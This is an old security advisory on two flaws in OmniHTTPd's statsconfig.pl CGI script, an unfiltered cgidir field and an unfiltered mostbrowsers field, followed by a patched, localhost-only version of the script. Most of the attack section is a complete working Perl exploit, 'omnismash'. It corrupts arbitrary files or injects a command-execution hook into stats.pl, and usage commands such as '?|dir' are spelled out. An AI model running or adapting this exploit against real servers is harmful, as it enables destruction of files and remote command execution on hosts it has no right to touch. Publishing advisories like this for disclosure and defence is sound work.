COMMAND

    OmniHTTPd

SYSTEMS AFFECTED

    OmniHTTPd

PROBLEM

    Joe Testa found following.   Two vulnerabilities exist within  the
    'statsconfig.pl' script  that comes  with OmniHTTPd  v2.07 and  is
    installed  by  default.   The  first  allows  a remote attacker to
    corrupt any file in the system.  The second allows arbitrary  code
    to be inserted into '/cgi-bin/stats.pl'.

    Here is the offending code:

        if ($FORM{'mostbrowsers'}) {
            $mostbrowsers_str = '$most_browsers = "' .
                                              $FORM{'mostbrowsers'} . '";';
        }
        
        ...
        
        unless (-f "$FORM{'cgidir'}/stats.prg") {
            $error .= "<LI>Config couldn't find the file stats.prg in
                                                  your cgi-bin directory.";
            [ exit(); ]
        }
        
        ...
        
        $cgifile = "$FORM{'cgidir'}/stats.pl";
        $progfile = "$FORM{'cgidir'}/stats.prg";
        
        open(CGI, "> $cgifile");
        open(PROG, "$progfile");
        
        print CGI "#!/usr/local/bin/perl5\n";
        print CGI "#AutoConfiged by Statsconfig.pl\n\n";
        print CGI "$deflimit_str\n$mostip_str\n$mostreq_str\n$mostbrowsers_str\n$timelog_str\n$mostipnum_str\n$mostreqf_str\n$mostbrowsernum_str\n$logloc_str\n$imagebar_str\n$serveradd_str\n$barwidth_str\n$barheight_str\n$listpass_str\n$bgcolor_str\n$bgimage_str\n$ttBGcolor_str\n\n$perllib_str\n";
        
        ...

    None of the variables in  %FORM are filtered.  An  attacker simply
    sets  $FORM{'cgidir'}  to  the  absolute  path  of any file in the
    system (padded  with a  null, of  course), and  that file  will be
    corrupted.  Note that because  absolute file names are used,  this
    exploit is not restricted to the drive the webserver resides on.

    Code injection is achieved by setting $FORM{'mostbrowsers'} to any
    legal value, followed by a semicolon and the payload.

    Joe  has  written  an  exploit  in  PERL  to  demonstrate  the two
    vulnerabilities.  To corrupt a file:

        perl omnismash.pl localhost 80 -corrupt c:/autoexec.bak

    The file  you choose  will be  overwritten with  approximately 470
    bytes of PERL code.

    To inject code into '/cgi-bin/stats.pl':

        perl omnismash.pl localhost 80 -inject c:/httpd/cgi-bin

    You must pass the absolute path to the cgi-bin directory for  this
    to work.  This exploit is hard-coded to insert the following line:

        if( $ENV{'QUERY_STRING'} ) { open( QS,$ENV{'QUERY_STRING'} ); }

    With that done, point your browser to

        http://localhost/cgi-bin/stats.pl?|dir

    You will see a directory listing of '/cgi-bin'.  Exploit:

    #!/usr/bin/perl
    
    ######################################################
    #                                                    #
    # omnismash v1.2 by Joe Testa  [01.08.2001  9:26PM]  #
    #              ( joetesta@hushmail.com )             #
    #                                                    #
    ######################################################
    #                                                    #
    # This program exploits two holes in                 #
    # 'statsconfig.pl', a cgi script which is installed  #
    # by default by OmniHTTPd v2.07 (and possibly older  #
    # versions).                                         #
    #                                                    #
    # 1.)  Any file on the system may be corrupted,      #
    # including those on drives the server does not      #
    # reside on.                                         #
    #                                                    #
    #                                                    #
    #   Example:                                         #
    #                                                    #
    #     perl omnismash.pl localhost 80 -corrupt        #
    #                c:\autoexec.bak                     #
    #                                                    #
    #                                                    #
    # 2.)  Code can be injected into                     #
    # '/cgi-bin/stats.pl'.  The absolute path to the     #
    # the 'cgi-bin' must already be known.               #
    #                                                    #
    #                                                    #
    #   Example:                                         #
    #                                                    #
    #     perl omnismash.pl localhost 80 -inject         #
    #               c:/httpd/cgi-bin                     #
    #                                                    #
    # This exploit is set to insert a bare 'open()' call #
    # to allow command execution like so:                #
    #                                                    #
    #     http://localhost/cgi-bin/stats.pl?|dir         #
    #                                                    #
    ######################################################
    
    
    use IO::Socket;
    
    
    print "\nomnismash v1.2 by Joe Testa  [01.08.2001  9:26PM]\n";
    print "             ( joetesta\@hushmail.com )\n\n\n";
    
    
    
    if ( scalar @ARGV < 4 ) {
        print "usage:  perl omnismash.pl target port " .
                                   "[ -inject cgipath | -corrupt file ]\n";
        exit();
    }
    
    
    
    $target = $ARGV[ 0 ];
    $port = $ARGV[ 1 ];
    $inject_or_corrupt = $ARGV[ 2 ];
    $stuff = $ARGV[ 3 ];
    
    
    
    print "Creating socket... ";
    $sock = new IO::Socket::INET( PeerAddr => $target,
                                  PeerPort => int( $port ),
                                  Proto    => 'tcp' );
    die "$!" unless $sock;
    print "done.\n";
    
    
    
    if ( $inject_or_corrupt eq '-inject' ) {
    
    
        $worthless_stuff = "perllib=" . $stuff . "/statsconfig.pl%00&" .
                               "cgidir=" . $stuff;
    
        $more_worthless_stuff = "&deflimit=&mostip=on&mostreq=on&" .
                               "mostbrowsers=on&timelog=on&mostipnum=5&" .
                               "mostreqf=5&mostbrowsernum=5";
    
        $semi_important_stuff = ";%20if(\$ENV{'QUERY_STRING'})" .
                               "{open(QS,\$ENV{'QUERY_STRING'});}\$a%3D1&" .
                               "logloc=c%3A%2Fhttpd%2Flogs%2Faccess.log&" .
                               "imagebar=%2Fstatsbar.gif&" .
                               "serveradd=%3C%21--%23echo+var%3D&" .
                               "barwidth=100&barheight=5&listpass=&" .
                               "bgcolor=%23FFFFFF&bgimage=&" .
                               "ttBGcolor=%23FFFFDD";
    
        $exploit = $worthless_stuff . $more_worthless_stuff .
                                                     $semi_important_stuff;
    
    
    } elsif ( $inject_or_corrupt eq '-corrupt' ) {
    
    
        # Cheap hex encoding....
        $stuff =~ s/:/\%3A/g;       # ':' => %3A
        $stuff =~ s/\\/\%2F/g;      # '\' => %2F
        $stuff =~ s/\//\%2F/g;      # '/' => %2F
        $stuff =~ s/ /\%20/g;       # ' ' => %20
        $stuff =~ s/\./%2E/g;       # '.' => %2E
    
    
    
        # This appends a hex-encoded null character to the file to truncate
        # text that is appended to it by statsconfig.pl during processing.
    
        $stuff .= "%00";
    
    
        # Construct the exploit string.  This does nothing more than set
        # the 'perllib' and 'cgidir' fields to our null-padded filename,
        # then add additional fields to pass a series of "if()" checks.
    
        $worthless_stuff = "&deflimit=&mostip=on&mostreq=on&" .
                           "mostbrowsers=on&timelog=on&mostipnum=5&" .
                           "mostreqf=5&mostbrowsernum=5&" .
                           "logloc=c%3A%2Fhttpd%2Flogs%2Faccess.log&" .
                           "imagebar=%2Fstatsbar.gif&" .
                           "serveradd=%3C%21--%23echo+var%3D&" .
                           "barwidth=100&barheight=5&listpass=&" .
                           "bgcolor=%23FFFFFF&bgimage=&" .
                           "ttBGcolor=%23FFFFDD";
    
        $exploit = "perllib=" . $stuff . "&cgidir=" . $stuff .
                                                          $worthless_stuff;
    
    }
    
    $length = length( $exploit );
    
    
    
    # Write the string to the socket...
    
    print "Sending exploit string... ";
    print $sock "POST /cgi-bin/statsconfig.pl HTTP/1.0\n";
    print $sock "Content-type: application/x-www-form-urlencoded\n";
    print $sock "Content-length: $length\n\n";
    
    print $sock $exploit;
    print "done.\n";
    
    
    # Read result from server...
    
    print "Waiting for response...\n\n";
    read( $sock, $buffer, 1024 );
    print $buffer;
    
    
    close( $sock );
    exit();

SOLUTION

    Erase 'statsconfig.pl' along with  any other unnecessary files  in
    your  'cgi-bin'.   If  this  is  not  possible  in your particular
    situation,  replace  your  current  'statsconfig.pl' file with the
    attached   'statsconfig.fixed'   file.     This   version   allows
    'statsconfig.pl' to be invoked only from localhost.

    if ( $ENV{'REMOTE_ADDR'} ne '127.0.0.1' )  {
        print "Content-type: text/html\n\n";
        print "<html><center>'statsconfig.pl' may be invoked only from ";
        print "the localhost</center></html>";
        exit();
    }
    
    
    # Get the input
    read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
    
    # Split the name-value pairs
    @pairs = split(/&/, $buffer);
    
    foreach $pair (@pairs){
       ($name, $value) = split(/=/, $pair);
    
       $value =~ tr/+/ /;
       $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
       $name =~ tr/+/ /;
       $name =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
    
       $FORM{$name} = $value;
    }
    
    if ($FORM{'deflimit'}) {
        $deflimit_str = '$DEF_lim = ' . $FORM{'deflimit'} . ';';
    }
    else {
        $deflimit_str = '#$DEF_lim = 500';
    }
    
    if ($FORM{'mostip'}) {
        $mostip_str = '$most_ip = "' . $FORM{'mostip'} . '";';
    }
    else {
        $mostip_str = '#most_ip = "off";';
    }
    
    if ($FORM{'mostreq'}) {
        $mostreq_str = '$most_req = "' . $FORM{'mostreq'} . '";';
    }
    else {
        $mostreq_str = '#$most_req = "off";';
    }
    
    if ($FORM{'mostbrowsers'}) {
        $mostbrowsers_str = '$most_browsers = "' . $FORM{'mostbrowsers'} . '";';
    }
    else {
        $mostbrowsers_str = '#$most_browsers = "off";';
    }
    
    if ($FORM{'timelog'}) {
        $timelog_str = '$timelogging = "' . $FORM{'timelog'} . '";';
    }
    else {
        $timelog_str = '#timelogging = "off";';
    }
    
    if ($FORM{'mostipnum'}) {
        $mostipnum_str = '$most_ip_num = ' . $FORM{'mostipnum'} . ';';
    }
    elsif ($FORM{'mostip'}) {
        $error .= "<LI>Number of top IP's needs to be positive. If you want it disabled unckeck the apropriate box.";
    }
    else {
        $mostipnum_str = '$most_ip_num = 0;';
    }
    
    if ($FORM{'mostbrowsernum'}) {
        $mostbrowsernum_str = '$most_browser_num = ' . $FORM{'mostbrowsernum'} . ';';
    }
    elsif ($FORM{'mostbrowsers'}) {
        $error .= "<LI>Number of top browsers needs to be positive. If you want it disabled unckeck the apropriate box.";
    }
    else {
        $mostbrowsernum_str = '$most_browser_num = 0;';
    }
    
    if ($FORM{'mostreqf'}) {
        $mostreqf_str = '$most_req_f = ' . $FORM{'mostreqf'} . ';';
    }
    elsif ($FORM{'mostreq'}) {
        $error .= "<LI>Number of top files needs to be positive. If you want it disabled unckeck the apropriate box.";
    }
    else {
        $mostreqf_str = '$most_req_f = 0;';
    }
    
    
    if ($FORM{'logloc'}) {
        $logloc_str = '$accesslog = "' . $FORM{'logloc'} . '";';
    }
    else {
        $error .= "<LI>No access log location specifed.";
    }
    
    if ($FORM{'imagebar'}) {
        $imagebar_str = '$imagebar = "' . $FORM{'imagebar'} . '";';
    }
    else {
        $error .= "<LI>No bar image specified.";
    }
    
    if ($FORM{'serveradd'}) {
        $serveradd_str = '$serveradd = "' . $FORM{'serveradd'} . '";';
    }
    else {
        $serveradd_str = '$serveradd = "this server";';
    }
    
    if ($FORM{'barwidth'}) {
        if ($FORM{'barwidth'} > 0) {
            $barwidth_str = '$barwidth = ' . $FORM{'barwidth'} . ';';
        }
        else {
            $error .= "<LI>Bar width needs to be a positive number.";
        }
    }
    else {
        $error .= "<LI>The bar width needs to be entered.";
    }
    
    if ($FORM{'barheight'}) {
        if ($FORM{'barheight'} > 0) {
            $barheight_str = '$barheight = ' . $FORM{'barheight'} . ';';
        }
        else {
            $error .= "<LI>Bar height needs to be a positive number.";
        }
    }
    else {
        $error .= "<LI>The bar height needs to be entered.";
    }
    
    if ($FORM{'listpass'}) {
        $listpass_str = '$listpass = "' . $FORM{'listpass'} . '";';
    }
    else {
        $listpass_str = '#listpass = "";';
    }
    
    if ($FORM{'bgcolor'}) {
        $bgcolor_str = '$bgcolor = "' . $FORM{'bgcolor'} . '";';
    }
    else {
        $bgcolor_str = '$bgcolor = "#FFFFFF";';
    }
    
    if ($FORM{'bgimage'}) {
        $bgimage_str = '$bgimage = "' . $FORM{'bgimage'} . '";';
    }
    else {
        $bgimage_str = '$bgimage = "";';
    }
    
    if ($FORM{'ttBGcolor'}) {
        $ttBGcolor_str = '$tableTopBGColor = "' . $FORM{'ttBGcolor'} . '";';
    }
    else {
        $ttBGcolor_str = '$tableTopBGColor = "#ffffdd";';
    }
    
    if ($FORM{'perllib'}) {
        $perllib_str = 'push(@INC,"'. $FORM{'perllib'} . '");';
    }
    else {
        $error .= "<LI>You didn't report the location of your perl lib directory.";
    }
    
    unless ($FORM{'cgidir'}) {
        $error .= "<LI>You didn't report the location of your cgi-bin directory.";
    }
    
    unless (-f "$FORM{'cgidir'}/stats.prg") {
        $error .= "<LI>Config couldn't find the file stats.prg in your cgi-bin directory.";
    }
    
    unless (-f "$FORM{'perllib'}/ctime.pl") {
        $error .= "<LI>Config couldn't find ctime.pl in your specifed perl lib directory of $FORM{'perllib'}.";
    }
    
    print "Content-type: text/html\n\n";
    
    if ($error) {
        print "<HTML><H3>Errors: <UL>\n$error</UL><P>Please go back and retry.</H3></HTML>";
        exit();
    }
    
    $cgifile = "$FORM{'cgidir'}/stats.pl";
    $progfile = "$FORM{'cgidir'}/stats.prg";
    
    open(CGI, ">$cgifile");
    open(PROG, "<$progfile");
    
    print CGI "#!/usr/local/bin/perl5\n";
    print CGI "#AutoConfiged by Statsconfig.pl\n\n";
    print CGI "$deflimit_str\n$mostip_str\n$mostreq_str\n$mostbrowsers_str\n$timelog_str\n$mostipnum_str\n$mostreqf_str\n$mostbrowsernum_str\n$logloc_str\n$imagebar_str\n$serveradd_str\n$barwidth_str\n$barheight_str\n$listpass_str\n$bgcolor_str\n$bgimage_str\n$ttBGcolor_str\n\n$perllib_str\n";
    
    if ($FORM{'debugon'}) {
        print CGI '$debug = 1;' . "\n";
    }
    
    print GCI "\n";
    
    while (<PROG>) {
        print CGI $_;
    }
    
    print "<HTML>\n<BODY BGCOLOR=#FFFFFF>\n<center>\n<h2>Stats successfuly configured.</h2>\n",
          "<FORM ACTION=\"/cgi-bin/stats.pl\" METHOD=POST>\n",
          "<INPUT TYPE=\"submit\" VALUE=\"Click here to try it out\">\n",
          "</FORM>\n</center>\n</BODY>\n</HTML>";